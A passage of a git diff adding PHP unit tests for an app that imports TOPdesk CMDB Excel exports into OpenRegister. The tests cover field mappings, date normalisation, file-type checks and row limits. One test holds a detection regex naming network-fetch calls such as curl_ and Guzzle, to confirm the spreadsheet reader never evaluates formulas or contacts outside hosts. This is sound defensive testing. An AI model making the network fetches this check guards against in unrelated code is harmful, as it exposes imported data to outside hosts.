testEveryPackIsAValidOpenRegisterPack(): void { + CmdbTestSupport::loadMigrationPack(); + $profile = new CmdbImportProfile(container: $this->emptyContainer()); + $profile->load(); + + $validator = new PackDefinitionValidator(); + foreach (CmdbImportProfile::TARGETS as $target) { + $pack = $profile->pack(target: $target); + $this->assertSame([], $validator->validate($pack), $target); + $this->assertSame('excel', $pack['sourceFormat'], $target); + $this->assertSame(['type' => 'generate'], $pack['idStrategy'], $target); + } + }//end testEveryPackIsAValidOpenRegisterPack() + + /** + * The packs implement the column table of design.md. + * + * @return void + */ + public function testThePacksImplementTheColumnTable(): void { + CmdbTestSupport::loadMigrationPack(); + $profile = new CmdbImportProfile(container: $this->emptyContainer()); + $profile->load(); + + $targets = function (string $pack) use ($profile): array { + $map = []; + foreach ($profile->pack(target: $pack)['fieldMappings'] as $mapping) { + $map[$mapping['source']] = $mapping['target']; + } + + return $map; + }; + + $this->assertSame( + [ + 'Applicatie Naam' => 'name', + 'APPID' => 'externalNumber', + 'Applicatie Code' => 'externalId', + 'Nickname' => 'shortDescription', + 'Roepnaam' => 'shortDescription', + 'Functionele Omschrijving' => 'longDescription', + 'Applicatiesoort' => 'cloudDienstverleningsmodel', + 'BNN Classificatie' => 'bbnLevel', + 'Datum' => 'externalCreatedAt', + 'Referentie datum wijziging' => 'externalModifiedAt', + ], + $targets('module') + ); + $this->assertSame(['Vendor' => 'name'], $targets('manufacturer')); + $this->assertSame(['municipalityName' => 'name'], $targets('municipality')); + $this->assertSame( + ['Applicatie Status' => 'status', 'Classificatie' => 'timeClassification', 'End-of-Life Functioneel' => 'startDateOutPhased', 'Beheer' => 'interneAnnotation'], + $targets('usage') + ); + $this->assertSame(['Applicatie Eigenaar (Persoon)' => 'name', 'Applicatie Eigenaar (Functie)' => 'role'], $targets('businessOwner')); + $this->assertSame(['module', 'manufacturer', 'municipality', 'usage', 'businessOwner'], CmdbImportProfile::TARGETS, 'no technical owner'); + + $this->assertSame(['type' => 'Supplier', 'status' => 'Active'], $profile->pack(target: 'manufacturer')['defaults']); + $this->assertSame(['type' => 'Municipality', 'status' => 'Active'], $profile->pack(target: 'municipality')['defaults']); + $this->assertSame(['type' => 'Application'], $profile->createOnlyDefaults(target: 'module')); + $this->assertSame(['interneAnnotation'], $profile->createOnlyFields(target: 'usage')); + $this->assertSame(['publicationDate', 'depublicationDate'], $profile->neverWrittenOnUpdate(target: 'module')); + $this->assertSame(['APPID', 'Applicatie Naam'], $profile->requiredColumns()); + $this->assertSame('APPID', $profile->keyColumn()); + $this->assertSame(['Onbeh Applicaties CMDB', 'Beheerde Applicaties CMDB'], $profile->sheetNames()); + $this->assertSame(['Beheer' => 'Beheer geregeld: nee'], $profile->sheetConstants(sheetName: 'Onbeh Applicaties CMDB')); + $this->assertSame(['Beheer' => 'Beheer geregeld: ja'], $profile->sheetConstants(sheetName: 'Beheerde Applicaties CMDB')); + $this->assertSame(['Nickname'], $profile->absentColumns(sheetName: 'Onbeh Applicaties CMDB')); + $this->assertSame([], $profile->absentColumns(sheetName: 'Beheerde Applicaties CMDB')); + $this->assertSame(['BNN Classificatie' => ['NB'], 'End-of-Life Functioneel' => ['49675']], $profile->emptyValues()); + $this->assertSame(10485760, $profile->maxFileBytes()); + $this->assertSame(10000, $profile->maxRowsPerSheet()); + }//end testThePacksImplementTheColumnTable() + + /** + * The lookups map the TOPdesk values through the real engine, and an unknown value errors instead of passing through. + * + * @return void + */ + public function testTheLookupsMapThroughTheEngine(): void { + CmdbTestSupport::loadMigrationPack(); + $profile = new CmdbImportProfile(container: $this->emptyContainer()); + $profile->load(); + $engine = new MappingEngine(); + + $usage = $engine->mapRow( + $profile->pack(target: 'usage'), + [ + 'Applicatie Status' => 'In voorraad', + 'Classificatie' => 'Tolereren', + 'End-of-Life Functioneel' => '2046-02-01', + 'Beheer' => 'Beheer geregeld: ja', + 'Cluster' => 'H10', + 'Applicatie Eigenaar (Afdeling)' => 'H10 Accounting', + ], + 2 + ); + $this->assertSame([], $usage['errors']); + $this->assertSame( + ['status' => 'Planned', 'timeClassification' => 'Tolerate', 'startDateOutPhased' => '2046-02-01', 'interneAnnotation' => 'Beheer geregeld: ja / H10 / H10 Accounting'], + $usage['data'] + ); + + $module = $engine->mapRow( + $profile->pack(target: 'module'), + ['Applicatie Naam' => 'X', 'APPID' => '1', 'BNN Classificatie' => 'BBN 2', 'Applicatiesoort' => 'Saas', 'Nickname' => 'Bijnaam', 'Roepnaam' => 'Roep'], + 2 + ); + $this->assertSame([], $module['errors']); + $this->assertSame('BBN2', $module['data']['bbnLevel']); + $this->assertSame(['SaaS'], $module['data']['cloudDienstverleningsmodel']); + $this->assertSame('Roep', $module['data']['shortDescription'], 'Roepnaam wins over Nickname'); + $nickname = $engine->mapRow($profile->pack(target: 'module'), ['Applicatie Naam' => 'X', 'APPID' => '1', 'Nickname' => 'Bijnaam', 'Roepnaam' => ''], 2); + $this->assertSame('Bijnaam', $nickname['data']['shortDescription'], 'Nickname when Roepnaam is empty'); + + $unknown = $engine->mapRow($profile->pack(target: 'usage'), ['Applicatie Status' => 'Onbekende status'], 3); + $this->assertArrayNotHasKey('status', $unknown['data']); + $this->assertSame('Applicatie Status', $unknown['errors'][0]['source']); + $this->assertStringContainsString('Onbekende status', $unknown['errors'][0]['message']); + + $soort = $engine->mapRow($profile->pack(target: 'module'), ['Applicatie Naam' => 'X', 'APPID' => '1', 'Applicatiesoort' => 'Webapplicatie'], 3); + $this->assertArrayNotHasKey('cloudDienstverleningsmodel', $soort['data'], 'an application kind is not a hosting model'); + $this->assertSame('Applicatiesoort', $soort['errors'][0]['source']); + }//end testTheLookupsMapThroughTheEngine() + + /** + * The read allowlist holds the owner columns but no other person or group column, nor + * the unmapped columns of the CMDB sheets. + * + * @return void + */ + public function testPersonColumnsAreNeverReferenced(): void { + CmdbTestSupport::loadMigrationPack(); + $profile = new CmdbImportProfile(container: $this->emptyContainer()); + $columns = $profile->referencedColumns(); + + foreach ([ + 'Personeelsnummer', + 'Eigenaar', + 'Eigenaar e-mail', + 'FB contactpersoon 1', + 'FB contactpersoon 2', + 'Groepseigenaar mail⚡', + 'Behandelgroep', + 'Hostingpartij', + 'Leverancier', + 'Beschikbaarheid', + 'Rappelreden', + 'Opmerkingen', + 'municipalityName', + 'Beheer', + ] as $never) { + $this->assertNotContains($never, $columns); + } + + $this->assertContains('Applicatie Eigenaar (Persoon)', $columns); + $this->assertContains('Applicatie Eigenaar (Functie)', $columns); + $this->assertContains('Applicatie Eigenaar (Afdeling)', $columns, 'the concat field is read too'); + $this->assertContains('Cluster', $columns); + }//end testPersonColumnsAreNeverReferenced() + + /** + * A pack with an unknown transform stops the import with MAPPING_UNAVAILABLE (503). + * + * @return void + */ + public function testAnInvalidPackIsMappingUnavailable(): void { + CmdbTestSupport::loadMigrationPack(); + $directory = $this->copyOfShippedDirectory(); + $pack = json_decode((string)file_get_contents($directory . '/topdesk-usage.json'), true); + $pack['fieldMappings'][0]['transform'] = ['type' => 'uppercase']; + file_put_contents($directory . '/topdesk-usage.json', json_encode($pack)); + + try { + (new CmdbImportProfile(container: $this->emptyContainer(), directory: $directory))->load(); + $this->fail('MAPPING_UNAVAILABLE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MAPPING_UNAVAILABLE', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + $this->assertStringContainsString('topdesk-usage.json', $e->getMessage()); + } finally { + $this->remove(directory: $directory); + } + }//end testAnInvalidPackIsMappingUnavailable() + + /** + * A missing pack file, or a validator the container cannot give and that does not exist, is MAPPING_UNAVAILABLE. + * + * @return void + */ + public function testAMissingPackOrValidatorIsMappingUnavailable(): void { + CmdbTestSupport::loadMigrationPack(); + $directory = $this->copyOfShippedDirectory(); + unlink($directory . '/topdesk-module.json'); + + try { + (new CmdbImportProfile(container: $this->emptyContainer(), directory: $directory))->load(); + $this->fail('MAPPING_UNAVAILABLE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MAPPING_UNAVAILABLE', $e->getErrorCode()); + } finally { + $this->remove(directory: $directory); + } + + $profile = new class(container: $this->emptyContainer()) extends CmdbImportProfile { + public const VALIDATOR_CLASS = 'OCA\OpenRegister\Service\MigrationPack\NoSuchValidator'; + }; + try { + $profile->load(); + $this->fail('MAPPING_UNAVAILABLE expected without a validator'); + } catch (CmdbImportException $e) { + $this->assertSame('MAPPING_UNAVAILABLE', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + } + }//end testAMissingPackOrValidatorIsMappingUnavailable() + + /** + * The upload limit is readable without OpenRegister. + * + * @return void + */ + public function testTheUploadLimitNeedsNoOpenRegister(): void { + $profile = new CmdbImportProfile(container: $this->emptyContainer(), directory: '/nonexistent'); + $this->assertSame(CmdbImportProfile::DEFAULT_MAX_FILE_BYTES, $profile->maxFileBytes()); + }//end testTheUploadLimitNeedsNoOpenRegister() +}//end class diff --git a/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php b/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php new file mode 100644 index 000000000..390ffc4ee --- /dev/null +++ b/tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php @@ -0,0 +1,134 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service\Cmdb; + +use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; +use PHPUnit\Framework\TestCase; + +/** + * Excel serial dates, ids and trimming. + */ +class CmdbRowNormaliserTest extends TestCase { + /** + * The serials of the anonymised export become the dates design.md names; ids lose their decimal part. + * + * @return void + */ + public function testSerialDatesAndIdsAreNormalised(): void { + $row = (new CmdbRowNormaliser())->normalise( + cells: [ + 'Datum' => 45111.380322627316, + 'Referentie datum wijziging' => 46232.552113113423, + 'End-of-Life Functioneel' => 53359, + 'APPID' => 1234.0, + 'Applicatie Code' => ' APP-test123 ', + 'Applicatie Naam' => ' naamtest123 ', + 'Vendor' => null, + ], + dateColumns: ['Datum', 'Referentie datum wijziging', 'End-of-Life Functioneel'], + idColumns: ['APPID'] + ); + + $this->assertSame( + [ + 'Datum' => '2023-07-04', + 'Referentie datum wijziging' => '2026-07-29', + 'End-of-Life Functioneel' => '2046-02-01', + 'APPID' => '1234', + 'Applicatie Code' => 'APP-test123', + 'Applicatie Naam' => 'naamtest123', + 'Vendor' => '', + ], + $row + ); + }//end testSerialDatesAndIdsAreNormalised() + + /** + * A value the profile lists as empty for its column becomes '', case-insensitively and before + * the date conversion; the same value in another column stays. + * + * @return void + */ + public function testEmptyValuesBecomeEmpty(): void { + $row = (new CmdbRowNormaliser())->normalise( + cells: ['BNN Classificatie' => 'nb', 'End-of-Life Functioneel' => 49675, 'Roepnaam' => 'NB', 'Datum' => 49675], + dateColumns: ['End-of-Life Functioneel', 'Datum'], + idColumns: [], + emptyValues: ['BNN Classificatie' => ['NB'], 'End-of-Life Functioneel' => ['49675']] + ); + + $this->assertSame(['BNN Classificatie' => '', 'End-of-Life Functioneel' => '', 'Roepnaam' => 'NB', 'Datum' => '2036-01-01'], $row); + }//end testEmptyValuesBecomeEmpty() + + /** + * The string forms of serials and ids convert the same way. + * + * @return void + */ + public function testStringSerialsAndIdsConvertToo(): void { + $normaliser = new CmdbRowNormaliser(); + + $this->assertSame('2023-07-04', $normaliser->normaliseDate(value: '45111.380322627316')); + $this->assertSame('1234', $normaliser->normaliseId(value: '1234.0')); + $this->assertSame('1234', $normaliser->normaliseId(value: 1234)); + $this->assertSame('12.5', $normaliser->normaliseId(value: 12.5)); + $this->assertSame('APP-1.0', $normaliser->normaliseId(value: 'APP-1.0')); + }//end testStringSerialsAndIdsConvertToo() + + /** + * A non-numeric date stays as it is, for the pack's date transform to judge; out-of-range serials too. + * + * @return void + */ + public function testNonSerialDatesStayAsTheyAre(): void { + $normaliser = new CmdbRowNormaliser(); + + $this->assertSame('2026-10-01', $normaliser->normaliseDate(value: ' 2026-10-01 ')); + $this->assertSame('onbekend', $normaliser->normaliseDate(value: 'onbekend')); + $this->assertSame('0', $normaliser->normaliseDate(value: 0)); + $this->assertSame('', $normaliser->normaliseDate(value: null)); + }//end testNonSerialDatesStayAsTheyAre() + + /** + * Excel's 1900 leap-year bug and the 1904 date system. + * + * @return void + */ + public function testDateSystemsAndTheLeapYearBug(): void { + $normaliser = new CmdbRowNormaliser(); + + $this->assertSame('1900-01-01', $normaliser->normaliseDate(value: 1)); + $this->assertSame('1900-02-28', $normaliser->normaliseDate(value: 59)); + $this->assertSame('1900-03-01', $normaliser->normaliseDate(value: 61)); + $this->assertSame('2023-07-04', $normaliser->normaliseDate(value: 43649, date1904: true)); + }//end testDateSystemsAndTheLeapYearBug() + + /** + * Booleans become TRUE/FALSE text; whole floats lose their decimal part. + * + * @return void + */ + public function testOtherScalarsBecomeText(): void { + $row = (new CmdbRowNormaliser())->normalise(cells: ['a' => true, 'b' => false, 'c' => 2.0, 'd' => 2.25], dateColumns: [], idColumns: []); + + $this->assertSame(['a' => 'TRUE', 'b' => 'FALSE', 'c' => '2', 'd' => '2.25'], $row); + }//end testOtherScalarsBecomeText() +}//end class diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php new file mode 100644 index 000000000..56d13386f --- /dev/null +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -0,0 +1,323 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service\Cmdb; + +require_once __DIR__ . '/../../Support/CmdbTestSupport.php'; + +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\Cmdb\CmdbImportProfile; +use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; +use OCA\Stackiq\Tests\Unit\Support\CmdbTestSupport; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; + +/** + * Reads the fixtures through PhpSpreadsheet as OpenRegister ships it. + */ +class CmdbWorkbookReaderTest extends TestCase { + /** + * The shipped profile, validated with OpenRegister's validator. + * + * @param string|null $directory A profile directory other than the shipped one. + * + * @return CmdbImportProfile + */ + private function profile(?string $directory = null): CmdbImportProfile { + CmdbTestSupport::loadMigrationPack(); + $container = $this->createMock(ContainerInterface::class); + $container->method('has')->willReturn(false); + + $profile = new CmdbImportProfile(container: $container, directory: $directory); + $profile->load(); + return $profile; + }//end profile() + + /** + * Skip unless PhpSpreadsheet can be loaded from an OpenRegister checkout. + * + * @return void + */ + private function requireSpreadsheet(): void { + if (CmdbTestSupport::loadPhpSpreadsheet() === false) { + $this->markTestSkipped('PhpSpreadsheet not found: set OPENREGISTER_DIR to an OpenRegister app with its vendor/ installed.'); + } + }//end requireSpreadsheet() + + /** + * Read a fixture. + * + * @param string $name The fixture file. + * + * @return array + */ + private function read(string $name): array { + $this->requireSpreadsheet(); + $path = CmdbTestSupport::fixtures() . '/' . $name; + $reader = new CmdbWorkbookReader(); + $reader->assertXlsx(path: $path, fileName: $name); + return $reader->read(path: $path, profile: $this->profile()); + }//end read() + + /** + * One data row per CMDB sheet, read from the cached formula values; the formatted + * empty rows and the rows whose formulas cached 0 are dropped; only allowlisted columns. + * + * @return void + */ + public function testTheSanitisedExportYieldsOneRowPerSheet(): void { + $result = $this->read(name: 'topdesk-export-anonymised.xlsx'); + $rows = $result['rows']; + + $this->assertCount(2, $rows); + $this->assertSame(['Onbeh Applicaties CMDB', 2], [$rows[0]['sheet'], $rows[0]['row']]); + $this->assertSame(['Beheerde Applicaties CMDB', 2], [$rows[1]['sheet'], $rows[1]['row']]); + $this->assertSame(1234, (int)$rows[0]['cells']['APPID']); + $this->assertSame('AIA-AangetekendMailen', $rows[0]['cells']['Applicatie Code']); + $this->assertSame('Aangetekend Mailen', $rows[0]['cells']['Applicatie Naam']); + $this->assertSame('Mailen', $rows[0]['cells']['Roepnaam']); + $this->assertSame('Webapplicatie', $rows[0]['cells']['Applicatiesoort']); + $this->assertSame('Achternaam, Voornaam', $rows[0]['cells']['Applicatie Eigenaar (Persoon)']); + $this->assertArrayNotHasKey('Nickname', $rows[0]['cells'], 'Onbeh has no Nickname column'); + $this->assertSame('naamtest123', $rows[1]['cells']['Applicatie Naam']); + $this->assertSame(2, (int)$rows[1]['cells']['APPID']); + $this->assertSame(53359, (int)$rows[1]['cells']['End-of-Life Functioneel']); + $this->assertSame('Saas', $rows[1]['cells']['Applicatiesoort']); + $this->assertSame('BBN2', $rows[1]['cells']['BNN Classificatie']); + $this->assertSame('Tolereren', $rows[1]['cells']['Classificatie']); + $this->assertSame('NT123', $rows[1]['cells']['Nickname']); + $this->assertSame('Teamleider Applicatiebeheer', $rows[1]['cells']['Applicatie Eigenaar (Persoon)']); + $this->assertSame([], $rows[0]['uncached']); + $this->assertSame([], $rows[1]['uncached']); + + $allowed = $this->profile()->referencedColumns(); + foreach ($rows as $row) { + foreach (array_keys($row['cells']) as $column) { + $this->assertContains($column, $allowed); + } + + foreach (['Beschikbaarheid', 'Behandelgroep', 'Hostingpartij', 'Rappelreden', 'Locatie BIOToets', 'Beheer'] as $never) { + $this->assertArrayNotHasKey($never, $row['cells']); + } + } + + $this->assertFalse($result['date1904']); + $this->assertSame([], $result['importWarnings'], 'Nickname is listed as absent on Onbeh, so its absence is no warning'); + }//end testTheSanitisedExportYieldsOneRowPerSheet() + + /** + * A formula cell yields the value Excel cached, not its result; a formula without + * a cached value yields an empty cell and is listed; the connection is never contacted. + * + * @return void + */ + public function testAFormulaYieldsItsCachedValue(): void { + $rows = $this->read(name: 'topdesk-formula-and-connection.xlsx')['rows']; + + // The formula evaluates to "Evaluated"; the cached value is "Rekenmodel". + $this->assertSame('Rekenmodel', $rows[1]['cells']['Applicatie Naam']); + $this->assertSame('APP-test123', $rows[1]['cells']['Applicatie Code']); + $this->assertNull($rows[1]['cells']['Roepnaam'], 'no cached value: empty, never evaluated'); + $this->assertSame(['Roepnaam'], $rows[1]['uncached']); + $this->assertSame([], $rows[0]['uncached']); + }//end testAFormulaYieldsItsCachedValue() + + /** + * The reader source never calls the calculation engine nor an HTTP client. + * + * @return void + */ + public function testTheReaderNeverEvaluatesOrFetches(): void { + $source = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/Cmdb/CmdbWorkbookReader.php'); + $code = (string)preg_replace('#/\*.*?\*/|//[^\n]*#s', '', $source); + + $this->assertStringNotContainsString('getCalculatedValue', $code); + $this->assertStringNotContainsString('toArray', $code); + $this->assertStringNotContainsString('Calculation', $code); + $this->assertDoesNotMatchRegularExpression('/Http|Guzzle|curl_|file_get_contents\(\s*\$url/i', $code); + $this->assertStringContainsString('getOldCalculatedValue', $code); + $this->assertStringContainsString('setReadDataOnly(true)', $code); + }//end testTheReaderNeverEvaluatesOrFetches() + + /** + * Shuffled columns and decorated headers map to the same rows. + * + * @return void + */ + public function testShuffledColumnsMapTheSame(): void { + $original = $this->read(name: 'topdesk-export-anonymised.xlsx')['rows']; + $shuffled = $this->read(name: 'topdesk-shuffled-columns.xlsx')['rows']; + + $this->assertCount(count($original), $shuffled); + foreach ($original as $index => $row) { + $expected = $row['cells']; + $actual = $shuffled[$index]['cells']; + ksort($expected); + ksort($actual); + $this->assertSame($expected, $actual); + } + }//end testShuffledColumnsMapTheSame() + + /** + * A CMDB sheet without APPID stops the import, naming column and sheet. + * + * @return void + */ + public function testAMissingRequiredColumnIsNamed(): void { + try { + $this->read(name: 'topdesk-missing-appid.xlsx'); + $this->fail('MISSING_COLUMN expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MISSING_COLUMN', $e->getErrorCode()); + $this->assertSame(422, $e->getHttpStatus()); + $this->assertSame(['sheet' => 'Beheerde Applicaties CMDB', 'column' => 'APPID'], $e->getDetails()); + } + }//end testAMissingRequiredColumnIsNamed() + + /** + * A workbook with only "Blad1" names both expected sheets. + * + * @return void + */ + public function testAWorkbookWithoutSourceSheetsIsRefused(): void { + try { + $this->read(name: 'topdesk-no-source-sheet.xlsx'); + $this->fail('NO_SOURCE_SHEET expected'); + } catch (CmdbImportException $e) { + $this->assertSame('NO_SOURCE_SHEET', $e->getErrorCode()); + $this->assertSame(['expected' => ['Onbeh Applicaties CMDB', 'Beheerde Applicaties CMDB']], $e->getDetails()); + } + }//end testAWorkbookWithoutSourceSheetsIsRefused() + + /** + * More non-empty rows than the profile allows stops the import. + * + * @return void + */ + public function testTooManyRowsIsRefused(): void { + $this->requireSpreadsheet(); + $directory = sys_get_temp_dir() . '/stackiq-cmdb-profile-' . bin2hex(random_bytes(4)); + mkdir($directory); + $shipped = CmdbTestSupport::appRoot() . '/lib/Settings/cmdb-import'; + foreach (glob($shipped . '/*.json') as $file) { + copy($file, $directory . '/' . basename($file)); + } + + $profile = json_decode((string)file_get_contents($directory . '/topdesk-profile.json'), true); + $profile['maxRowsPerSheet'] = 0; + file_put_contents($directory . '/topdesk-profile.json', json_encode($profile)); + + try { + (new CmdbWorkbookReader())->read(path: CmdbTestSupport::fixtures() . '/topdesk-export-anonymised.xlsx', profile: $this->profile(directory: $directory)); + $this->fail('TOO_MANY_ROWS expected'); + } catch (CmdbImportException $e) { + $this->assertSame('TOO_MANY_ROWS', $e->getErrorCode()); + $this->assertSame(422, $e->getHttpStatus()); + } finally { + array_map('unlink', glob($directory . '/*.json')); + rmdir($directory); + } + }//end testTooManyRowsIsRefused() + + /** + * A text file named .xlsx, a .xlsm and a CSV are refused before PhpSpreadsheet is touched. + * + * @return void + */ + public function testNonXlsxIsRefusedBeforeParsing(): void { + $reader = new CmdbWorkbookReader(); + $text = tempnam(sys_get_temp_dir(), 'cmdb'); + file_put_contents($text, "Applicatie Naam;APPID\nVoorbeeld;1\n"); + $cases = [ + [$text, 'export.xlsx'], + [CmdbTestSupport::fixtures() . '/topdesk-export-anonymised.xlsx', 'export.xlsm'], + [$text, 'applications.csv'], + [CmdbTestSupport::fixtures() . '/topdesk-export-anonymised.xlsx', 'export.xls'], + ]; + + try { + foreach ($cases as [$path, $name]) { + try { + $reader->assertXlsx(path: $path, fileName: $name); + $this->fail('NOT_XLSX expected for ' . $name); + } catch (CmdbImportException $e) { + $this->assertSame('NOT_XLSX', $e->getErrorCode(), $name); + $this->assertSame(400, $e->getHttpStatus(), $name); + } + } + + // A ZIP without xl/workbook.xml. + $zipPath = tempnam(sys_get_temp_dir(), 'cmdb') . '.xlsx'; + $zip = new \ZipArchive(); + $zip->open($zipPath, \ZipArchive::CREATE); + $zip->addFromString('word/document.xml', ''); + $zip->close(); + try { + $reader->assertXlsx(path: $zipPath, fileName: 'export.xlsx'); + $this->fail('NOT_XLSX expected for a zip without a workbook'); + } catch (CmdbImportException $e) { + $this->assertSame('NOT_XLSX', $e->getErrorCode()); + } finally { + unlink($zipPath); + } + } finally { + unlink($text); + } + + $this->assertTrue(true); + }//end testNonXlsxIsRefusedBeforeParsing() + + /** + * Without PhpSpreadsheet the reader answers READER_UNAVAILABLE. + * + * @return void + */ + public function testAMissingReaderIsReported(): void { + $reader = new class extends CmdbWorkbookReader { + /** + * PhpSpreadsheet is absent. + * + * @return bool + */ + public function isAvailable(): bool { + return false; + }//end isAvailable() + }; + + try { + $reader->read(path: CmdbTestSupport::fixtures() . '/topdesk-export-anonymised.xlsx', profile: $this->profile()); + $this->fail('READER_UNAVAILABLE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('READER_UNAVAILABLE', $e->getErrorCode()); + $this->assertSame(503, $e->getHttpStatus()); + } + }//end testAMissingReaderIsReported() + + /** + * Headers match after trimming, collapsing whitespace, dropping a trailing ":" or "⚡" and lower-casing. + * + * @return void + */ + public function testHeadersAreNormalised(): void { + $this->assertSame('vendor', CmdbWorkbookReader::normaliseHeader(header: 'Vendor⚡')); + $this->assertSame('applicatie eigenaar (persoon)', CmdbWorkbookReader::normaliseHeader(header: ' Applicatie Eigenaar (Persoon): ')); + $this->assertSame('appid', CmdbWorkbookReader::normaliseHeader(header: 'APPID')); + }//end testHeadersAreNormalised() +}//end class diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php new file mode 100644 index 000000000..cde666c23 --- /dev/null +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -0,0 +1,1209 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service; + +require_once __DIR__ . '/../Support/CmdbTestSupport.php'; + +use OCA\OpenRegister\Contract\ObjectEntityInterface; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\Cmdb\CmdbImportProfile; +use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; +use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; +use OCA\Stackiq\Service\CmdbExportImportService; +use OCA\Stackiq\Service\ProgressTracker; +use OCA\Stackiq\Service\SettingsService; +use OCA\Stackiq\Service\StackiqContactSyncService; +use OCA\Stackiq\Tests\Unit\Support\CmdbTestSupport; +use OCP\ICache; +use OCP\ICacheFactory; +use OCP\IL10N; +use OCP\IUserSession; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; +use Psr\Log\AbstractLogger; +use RuntimeException; + +/** + * The import, row by row, against an in-memory OpenRegister. + * + * @SuppressWarnings(PHPMD.ExcessiveClassLength) + * @SuppressWarnings(PHPMD.TooManyPublicMethods) + */ +class CmdbExportImportServiceTest extends TestCase { + private const REGISTER = 20; + private const MODULE = 43; + private const ORGANIZATION = 33; + private const USAGE = 34; + private const CONTACT_PERSON = 32; + + /** + * Objects per schema id, by uuid. + * + * @var array>> + */ + private array $store = []; + + /** + * Every saveObject() call: schema, uuid, data, create. + * + * @var array, create: bool}> + */ + private array $saves = []; + + /** + * Called before every save; may throw. + * + * @var callable|null + */ + private $beforeSave = null; + + /** + * Contacts in the fake address book: uid => name, email. + * + * @var array + */ + private array $contacts = []; + + /** + * Whether Contacts is enabled. + * + * @var bool + */ + private bool $contactsEnabled = true; + + /** + * The in-memory distributed cache behind the ProgressTracker. + * + * @var array + */ + private array $cache = []; + + /** + * Every log line, message plus encoded context. + * + * @var array + */ + private array $logLines = []; + + /** + * The ProgressTracker of the current service. + * + * @var ProgressTracker|null + */ + private ?ProgressTracker $tracker = null; + + /** + * Reset the doubles. + * + * @return void + */ + protected function setUp(): void { + CmdbTestSupport::loadMigrationPack(); + $this->store = [self::MODULE => [], self::ORGANIZATION => [], self::USAGE => [], self::CONTACT_PERSON => []]; + $this->saves = []; + $this->beforeSave = null; + $this->contacts = []; + $this->contactsEnabled = true; + $this->cache = []; + $this->logLines = []; + }//end setUp() + + // ------------------------------------------------------------------ + // Doubles + // ------------------------------------------------------------------ + + /** + * An entity as OpenRegister returns it. + * + * @param string $uuid The uuid. + * @param array $data The object data. + * + * @return ObjectEntityInterface + */ + private function entity(string $uuid, array $data): ObjectEntityInterface { + return new class($uuid, $data) implements ObjectEntityInterface { + /** + * Constructor. + * + * @param string $uuid The uuid. + * @param array $data The data. + */ + public function __construct( + private string $uuid, + private array $data, + ) { + } + + public function getUuid(): ?string { + return $this->uuid; + } + + public function getObject(): array { + return $this->data; + } + + public function getRegister(): ?string { + return '20'; + } + + public function getSchema(): ?string { + return null; + } + + public function getOrganisation(): ?string { + return null; + } + + public function getOwner(): ?string { + return null; + } + + public function jsonSerialize(): array { + return $this->data; + } + }; + }//end entity() + + /** + * The in-memory OpenRegister. + * + * @return ObjectServiceInterface + */ + private function objectService(): ObjectServiceInterface { + $service = $this->createMock(ObjectServiceInterface::class); + $service->method('saveObject')->willReturnCallback( + function (array $object, ?array $extend = [], $register = null, $schema = null, ?string $uuid = null): ObjectEntityInterface { + $schema = (int)$schema; + if ($this->beforeSave !== null) { + ($this->beforeSave)($schema, $object); + } + + $create = ($uuid === null); + if ($create === true) { + $uuid = sprintf('00000000-0000-4000-8000-%012d', count($this->saves) + 1); + } + + $object['id'] = $uuid; + $this->store[$schema][$uuid] = $object; + $this->saves[] = ['schema' => $schema, 'uuid' => $uuid, 'data' => $object, 'create' => $create]; + return $this->entity(uuid: $uuid, data: $object); + } + ); + $service->method('searchObjects')->willReturnCallback( + function (array $query = []): array { + $schema = (int)($query['@self']['schema'] ?? 0); + $limit = (int)($query['_limit'] ?? 30); + $offset = (int)($query['_offset'] ?? 0); + $filters = array_filter($query, fn ($key): bool => $key !== '@self' && str_starts_with((string)$key, '_') === false, ARRAY_FILTER_USE_KEY); + $found = []; + foreach (($this->store[$schema] ?? []) as $uuid => $data) { + foreach ($filters as $field => $value) { + if ((string)($data[$field] ?? '') !== (string)$value) { + continue 2; + } + } + + $found[] = $this->entity(uuid: $uuid, data: $data); + } + + return 